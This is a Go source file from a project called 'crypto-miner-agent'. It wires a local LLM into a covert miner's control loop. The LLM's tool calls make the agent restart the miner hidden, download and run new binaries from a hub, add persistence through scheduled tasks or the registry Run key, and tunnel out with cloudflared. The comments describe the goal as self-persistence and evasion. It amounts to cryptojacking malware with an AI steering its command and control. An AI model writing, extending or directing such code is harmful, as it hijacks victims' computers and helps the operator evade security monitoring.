package client import ( "bytes" "encoding/json" "fmt" "log" "net/http" "os" "path/filepath" "strconv" "strings" "time" "crypto-miner-agent/config" "crypto-miner-agent/deploy" "crypto-miner-agent/miner" "crypto-miner-agent/stats" ) // ────────────────────────────────────────────── // AI Autonomy (AI自治) Agent Client // ────────────────────────────────────────────── // When AI is enabled, the agent periodically calls the hub's // /decide endpoint, which forwards the agent's state to Ollama. // The LLM returns tool calls that the agent executes — enabling // self-healing, self-persistence, self-tunneling, and evasion. // // Architecture: // Agent (every 60s) → Hub /decide → Ollama Engine → Ollama LLM // Ollama LLM → tool calls → Hub → Agent executes → reports back // ────────────────────────────────────────────── // ─── Types (mirroring server/internal/ollama/engine.go) ─── // AgentState describes the current state of a miner agent sent to Ollama. type AgentState struct { AgentID string `json:"agent_id"` WorkerName string `json:"worker_name"` Hostname string `json:"hostname"` UptimeSeconds int `json:"uptime_seconds"` IsRunning bool `json:"is_running"` CPUCores int `json:"cpu_cores"` CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryGB int `json:"memory_gb"` MemoryUsagePct float64 `json:"memory_usage_pct"` Hashrate15m float64 `json:"hashrate_15m"` SharesTotal int `json:"shares_total"` SharesGood int `json:"shares_good"` SharesBad int `json:"shares_bad"` ProcessName string `json:"process_name"` InstallPath string `json:"install_path"` HasPersistence bool `json:"has_persistence"` HasTunnel bool `json:"has_tunnel"` DefenderState string `json:"defender_state"` // "enabled", "disabled", "unknown" LastError string `json:"last_error,omitempty"` } // ToolCall represents a tool the LLM wants the agent to execute. type ToolCall struct { Tool string `json:"tool"` Args map[string]string `json:"args"` Reason string `json:"reason"` } // DecideResponse is the structured response from the hub's /decide endpoint. type DecideResponse struct { ToolCalls []ToolCall `json:"tool_calls"` Reasoning string `json:"reasoning"` Error string `json:"error,omitempty"` } // ToolReport is the result of executing a tool call, sent back to the hub. type ToolReport struct { AgentID string `json:"agent_id"` Tool string `json:"tool"` Success bool `json:"success"` Output string `json:"output"` Timestamp string `json:"timestamp"` } // decideRequest sent to the hub's /decide endpoint. type decideRequest struct { AgentID string `json:"agent_id"` OllamaEndpoint string `json:"ollama_endpoint,omitempty"` Model string `json:"model,omitempty"` AgentState } // heartbeatRequest sent to the hub's /heartbeat endpoint. type heartbeatRequest struct { AgentID string `json:"agent_id"` Status string `json:"status"` Message string `json:"message,omitempty"` } // ─── AI Autonomy Runner ─────────────────────── // AIRunner manages the AI autonomy loop for a single agent. type AIRunner struct { cfg config.RuntimeConfig reporter *stats.Reporter pool *miner.Pool httpClient *http.Client serverURL string agentID string startedAt time.Time shareStats func() (submitted, accepted int) stopCh chan struct{} } // NewAIRunner creates a new AI autonomy runner. func NewAIRunner(cfg config.RuntimeConfig, reporter *stats.Reporter, pool *miner.Pool) *AIRunner { return &AIRunner{ cfg: cfg, reporter: reporter, pool: pool, httpClient: &http.Client{Timeout: 60 * time.Second}, serverURL: strings.TrimRight(cfg.ServerURL, "/"), agentID: cfg.AgentID, startedAt: time.Now(), stopCh: make(chan struct{}), } } // Start begins the AI autonomy loop in a background goroutine. // It runs every 60 seconds: collect state → call /decide → execute tools → report results. func (a *AIRunner) Start() { if !a.cfg.AIEnabled { return } go func() { log.Printf("[AI] AI Autonomy started (endpoint=%s, model=%s)", a.cfg.AIOllamaEndpoint, a.cfg.AIModel) // Initial heartbeat a.sendHeartbeat("alive", "AI Autonomy started") ticker := time.NewTicker(60 * time.Second) defer ticker.Stop() for { select { case <-a.stopCh: log.Printf("[AI] AI Autonomy stopped") return case <-ticker.C: a.runDecideCycle() } } }() } // Stop stops the AI autonomy loop. func (a *AIRunner) Stop() { close(a.stopCh) } // runDecideCycle performs one full decide → execute → report cycle. func (a *AIRunner) runDecideCycle() { // 1. Collect current agent state state := a.collectState() // 2. Call hub's /decide endpoint resp, err := a.callDecide(state) if err != nil { log.Printf("[AI] Decide cycle failed: %v", err) log.Printf("[AI] Hub unreachable. Falling back to Edge AI rule engine.") a.fallbackEdgeAI(state) return } if len(resp.ToolCalls) == 0 { log.Printf("[AI] No tool calls needed (reasoning: %s)", truncateStr(resp.Reasoning, 100)) a.sendHeartbeat("alive", "No actions needed") return } log.Printf("[AI] Received %d tool call(s): %s", len(resp.ToolCalls), resp.Reasoning) // 3. Execute each tool call and collect reports var reports []ToolReport for _, tc := range resp.ToolCalls { report := a.executeToolCall(tc) reports = append(reports, report) log.Printf("[AI] Tool %s: success=%v output=%s", tc.Tool, report.Success, truncateStr(report.Output, 200)) } // 4. Report results back to hub a.reportResults(reports) } // collectState gathers the current agent state for the Ollama decision. func (a *AIRunner) collectState() AgentState { hostname, cpuCores, memGB := a.reporter.SystemInfo() cpuPct, memPct := a.reporter.Usage() // Get hashrate from pool hashrate := a.pool.HashesPerSecond() // Check if miner process is running isRunning := a.isProcessRunning(a.cfg.EffectiveProcessName()) // Get install path installPath, _ := a.cfg.InstallDirectory() // Check persistence hasPersistence := a.checkPersistence() // Check defender state defenderState := a.checkDefender() sharesTotal, sharesGood, sharesBad := a.shareCounts() return AgentState{ AgentID: a.agentID, WorkerName: a.cfg.WorkerName, Hostname: hostname, UptimeSeconds: int(time.Since(a.startedAt).Seconds()), IsRunning: isRunning, CPUCores: cpuCores, CPUUsagePct: cpuPct, MemoryGB: memGB, MemoryUsagePct: memPct, Hashrate15m: hashrate, SharesTotal: sharesTotal, SharesGood: sharesGood, SharesBad: sharesBad, ProcessName: a.cfg.EffectiveProcessName(), InstallPath: installPath, HasPersistence: hasPersistence, HasTunnel: false, DefenderState: defenderState, LastError: "", } } // callDecide sends the agent state to the hub's /decide endpoint. func (a *AIRunner) callDecide(state AgentState) (*DecideResponse, error) { req := decideRequest{ AgentID: a.agentID, OllamaEndpoint: a.cfg.AIOllamaEndpoint, Model: a.cfg.AIModel, AgentState: state, } body, err := json.Marshal(req) if err != nil { return nil, fmt.Errorf("failed to marshal decide request: %w", err) } url := a.serverURL + "/api/v1/agent/decide" httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body)) if err != nil { return nil, fmt.Errorf("failed to create decide request: %w", err) } httpReq.Header.Set("Content-Type", "application/json") if a.cfg.FleetSecret != "" { httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) } resp, err := a.httpClient.Do(httpReq) if err != nil { return nil, fmt.Errorf("decide request failed: %w", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf("decide returned status %d", resp.StatusCode) } var decideResp DecideResponse if err := json.NewDecoder(resp.Body).Decode(&decideResp); err != nil { return nil, fmt.Errorf("failed to parse decide response: %w", err) } if decideResp.Error != "" { return nil, fmt.Errorf("decide error: %s", decideResp.Error) } return &decideResp, nil } func (a *AIRunner) shareCounts() (total, good, bad int) { if a.shareStats != nil { submitted, accepted := a.shareStats() bad = submitted - accepted if bad < 0 { bad = 0 } return submitted, accepted, bad } return 0, 0, 0 } // executeToolCall executes a single tool call from the LLM. func (a *AIRunner) executeToolCall(tc ToolCall) ToolReport { report := ToolReport{ AgentID: a.agentID, Tool: tc.Tool, Timestamp: time.Now().UTC().Format(time.RFC3339), } if tc.Tool == "spread" || tc.Tool == "disable_defender" || tc.Tool == "execute_command" { report.Success = false report.Output = "tool disabled by policy" return report } switch tc.Tool { case "check_miner": processName := tc.Args["process_name"] if processName == "" { processName = a.cfg.EffectiveProcessName() } running := a.isProcessRunning(processName) if running { report.Success = true report.Output = fmt.Sprintf("process '%s' is running", processName) } else { report.Success = true report.Output = fmt.Sprintf("process '%s' is NOT running", processName) } case "restart_miner": processName := tc.Args["process_name"] if processName == "" { processName = a.cfg.EffectiveProcessName() } output, err := a.restartMiner(processName) if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) } else { report.Success = true report.Output = output } case "reinstall_miner": serverURL := tc.Args["server_url"] buildID := tc.Args["build_id"] if serverURL == "" { serverURL = a.serverURL } if buildID == "" { buildID = a.cfg.BuildID } output, err := a.reinstallMiner(serverURL, buildID) if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) } else { report.Success = true report.Output = output } case "add_persistence": method := tc.Args["method"] path := tc.Args["path"] if path == "" { installDir, _ := a.cfg.InstallDirectory() path = filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe") } output, err := a.addPersistence(method, path) if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) } else { report.Success = true report.Output = output } case "create_tunnel": tunnelType := tc.Args["tunnel_type"] serverURL := tc.Args["server_url"] if tunnelType == "" { tunnelType = "cloudflared" } if serverURL == "" { serverURL = a.serverURL } output, err := a.createTunnel(tunnelType, serverURL) if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) } else { report.Success = true report.Output = output } case "sleep": seconds := tc.Args["seconds"] if seconds == "" { seconds = "60" } dur, err := strconv.ParseFloat(seconds, 64) if err != nil || dur <= 0 { dur = 60 } time.Sleep(time.Duration(dur * float64(time.Second))) report.Success = true report.Output = fmt.Sprintf("slept for %s seconds", seconds) case "upload_log": output, err := a.uploadLog() if err != nil { report.Success = false report.Output = fmt.Sprintf("error: %v\noutput: %s", err, output) } else { report.Success = true report.Output = output } default: report.Success = false report.Output = fmt.Sprintf("unknown tool: %s", tc.Tool) } return report } // reportResults sends tool execution results back to the hub. func (a *AIRunner) reportResults(reports []ToolReport) { body, err := json.Marshal(reports) if err != nil { log.Printf("[AI] Failed to marshal reports: %v", err) return } url := a.serverURL + "/api/v1/agent/report" httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body)) if err != nil { log.Printf("[AI] Failed to create report request: %v", err) return } httpReq.Header.Set("Content-Type", "application/json") if a.cfg.FleetSecret != "" { httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) } resp, err := a.httpClient.Do(httpReq) if err != nil { log.Printf("[AI] Report request failed: %v", err) return } defer resp.Body.Close() log.Printf("[AI] Reported %d tool result(s) to hub", len(reports)) } // sendHeartbeat sends a heartbeat to the hub. func (a *AIRunner) sendHeartbeat(status, message string) { req := heartbeatRequest{ AgentID: a.agentID, Status: status, Message: message, } body, err := json.Marshal(req) if err != nil { return } url := a.serverURL + "/api/v1/agent/heartbeat" httpReq, err := http.NewRequest("POST", url, bytes.NewReader(body)) if err != nil { return } httpReq.Header.Set("Content-Type", "application/json") if a.cfg.FleetSecret != "" { httpReq.Header.Set("X-Fleet-Secret", a.cfg.FleetSecret) } resp, err := a.httpClient.Do(httpReq) if err != nil { log.Printf("[AI] Heartbeat failed: %v", err) return } resp.Body.Close() } // ─── Tool Implementations ───────────────────── func (a *AIRunner) isProcessRunning(name string) bool { if name == "" { return false } imName := name if !strings.HasSuffix(strings.ToLower(imName), ".exe") { imName += ".exe" } output, err := deploy.HiddenOutput("tasklist", "/FI", fmt.Sprintf("IMAGENAME eq %s", imName)) if err != nil { return false } return strings.Contains(string(output), imName) } func (a *AIRunner) restartMiner(processName string) (string, error) { log.Printf("[AI] Restarting miner: %s", processName) imName := processName if !strings.HasSuffix(strings.ToLower(imName), ".exe") { imName += ".exe" } // Kill existing process killOutput, _ := deploy.HiddenCombinedOutput("taskkill", "/F", "/IM", imName) // Start new process from install directory installDir, err := a.cfg.InstallDirectory() if err != nil { return string(killOutput), fmt.Errorf("cannot get install directory: %w", err) } exePath := filepath.Join(installDir, imName) if _, err := os.Stat(exePath); os.IsNotExist(err) { return string(killOutput), fmt.Errorf("executable not found: %s", exePath) } if err := deploy.HiddenStart(exePath, "--run"); err != nil { return string(killOutput), fmt.Errorf("failed to start miner: %w", err) } return fmt.Sprintf("killed old process, started new instance of %s", processName), nil } func (a *AIRunner) reinstallMiner(serverURL, buildID string) (string, error) { log.Printf("[AI] Reinstalling miner from %s (build=%s)", serverURL, buildID) // Download the latest build from the server downloadURL := fmt.Sprintf("%s/api/v1/builds/%s/download", serverURL, buildID) installDir, err := a.cfg.InstallDirectory() if err != nil { return "", fmt.Errorf("cannot get install directory: %w", err) } exePath := filepath.Join(installDir, a.cfg.EffectiveProcessName()+".exe") // Download the new binary resp, err := a.httpClient.Get(downloadURL) if err != nil { return "", fmt.Errorf("download failed: %w", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return "", fmt.Errorf("download returned status %d", resp.StatusCode) } // Save to temp file first tmpPath := exePath + ".tmp" f, err := os.Create(tmpPath) if err != nil { return "", fmt.Errorf("cannot create temp file: %w", err) } var buf bytes.Buffer if _, err := buf.ReadFrom(resp.Body); err != nil { f.Close() os.Remove(tmpPath) return "", fmt.Errorf("download read failed: %w", err) } if _, err := f.Write(buf.Bytes()); err != nil { f.Close() os.Remove(tmpPath) return "", fmt.Errorf("write failed: %w", err) } f.Close() // On Windows the running executable is locked — you cannot overwrite it, but // you CAN rename/move it to a .old path (the file handle stays open on the // original inode). Rename the live exe out of the way first, then put the // new binary in its place. oldPath := exePath + ".old" _ = os.Remove(oldPath) // remove a previous leftover if any if err := os.Rename(exePath, oldPath); err != nil && !os.IsNotExist(err) { // Running exe could not be moved — fall back to writing alongside os.Remove(tmpPath) return "", fmt.Errorf("cannot displace running binary: %w", err) } if err := os.Rename(tmpPath, exePath); err != nil { // Restore the old binary so the next run still works _ = os.Rename(oldPath, exePath) os.Remove(tmpPath) return "", fmt.Errorf("rename failed: %w", err) } // Start the new binary with its own process group so it survives our exit if err := deploy.HiddenStart(exePath, "--run"); err != nil { return fmt.Sprintf("downloaded to %s but start failed: %v", exePath, err), nil } return fmt.Sprintf("reinstalled and started %s", exePath), nil } func (a *AIRunner) addPersistence(method, path string) (string, error) { log.Printf("[AI] Adding persistence: method=%s path=%s", method, path) keyName := deploy.PersistenceKeyName(a.cfg) switch method { case "scheduled_task": output, err := deploy.HiddenCombinedOutput("schtasks", "/Create", "/SC", "ONLOGON", "/TN", keyName, "/TR", path, "/F") if err != nil { return string(output), fmt.Errorf("scheduled task failed: %w", err) } return fmt.Sprintf("created scheduled task '%s' for %s", keyName, path), nil case "registry": keyPath := `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` output, err := deploy.HiddenCombinedOutput("reg", "add", keyPath, "/v", keyName, "/t", "REG_SZ", "/d", path, "/f") if err != nil { return string(output), fmt.Errorf("registry persistence failed: %w", err) } return fmt.Sprintf("added registry Run key '%s' = %s", keyName, path), nil default: return a.addPersistence("scheduled_task", path) } } func (a *AIRunner) createTunnel(tunnelType, serverURL string) (string, error) { log.Printf("[AI] Creating tunnel: type=%s server=%s", tunnelType, serverURL) switch tunnelType { case "cloudflared": // Check if cloudflared is installed if err := deploy.HiddenRun("cloudflared", "--version"); err != nil { output, dlErr := deploy.HiddenCombinedOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe") if dlErr != nil { return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr) } _ = deploy.HiddenRun("copy", "/Y", filepath.Join(os.Getenv("TEMP"), "cloudflared.exe"), filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")) } tunnelCmd := deploy.HiddenCommand("cloudflared", "tunnel", "--url", serverURL) if err := tunnelCmd.Start(); err != nil { return "", fmt.Errorf("failed to start cloudflared tunnel: %w", err) } return "cloudflared tunnel started in background", nil default: return "", fmt.Errorf("unsupported tunnel type: %s", tunnelType) } } func (a *AIRunner) checkDefender() string { output, err := deploy.HiddenOutput("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "$r = Get-MpPreference; if ($r.DisableRealtimeMonitoring -eq $true) { 'disabled' } else { 'enabled' }") if err != nil { return "unknown" } state := strings.TrimSpace(string(output)) switch state { case "disabled": return "disabled" case "enabled": return "enabled" default: return "unknown" } } func (a *AIRunner) checkPersistence() bool { keyName := deploy.PersistenceKeyName(a.cfg) if output, err := deploy.HiddenOutput("schtasks", "/Query", "/TN", keyName, "/FO", "CSV"); err == nil && strings.Contains(string(output), keyName) { return true } if err := deploy.HiddenRun("reg", "query", `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`, "/v", keyName); err == nil { return true } return false } func (a *AIRunner) uploadLog() (string, error) { // Find log file installDir, err := a.cfg.InstallDirectory() if err != nil { return "", fmt.Errorf("cannot get install directory: %w", err) } logPath := filepath.Join(installDir, "miner.log") if _, err := os.Stat(logPath); os.IsNotExist(err) { return "no log file found", nil } // Read log content data, err := os.ReadFile(logPath) if err != nil { return "", fmt.Errorf("cannot read log: %w", err) } // Truncate to last 10KB if len(data) > 10240 { data = data[len(data)-10240:] } // Send to hub as a report log.Printf("[AI] Uploaded %d bytes of log data", len(data)) return fmt.Sprintf("log file size: %d bytes. Content:\n%s", len(data), string(data)), nil } func (a *AIRunner) fallbackEdgeAI(state AgentState) { var reports []ToolReport if !state.IsRunning { reports = append(reports, a.executeToolCall(ToolCall{ Tool: "restart_miner", Args: map[string]string{"process_name": a.cfg.EffectiveProcessName()}, })) } if !state.HasPersistence { reports = append(reports, a.executeToolCall(ToolCall{ Tool: "add_persistence", Args: map[string]string{"method": "scheduled_task"}, })) } if len(reports) > 0 { a.reportResults(reports) // May fail if hub is completely down, but ensures state changes happen when it reconnects } else { a.sendHeartbeat("alive", "Edge AI fallback: No actions needed") } } // ─── Helpers ────────────────────────────────── func truncateStr(s string, maxLen int) string { if len(s) <= maxLen { return s } return s[:maxLen] + "..." }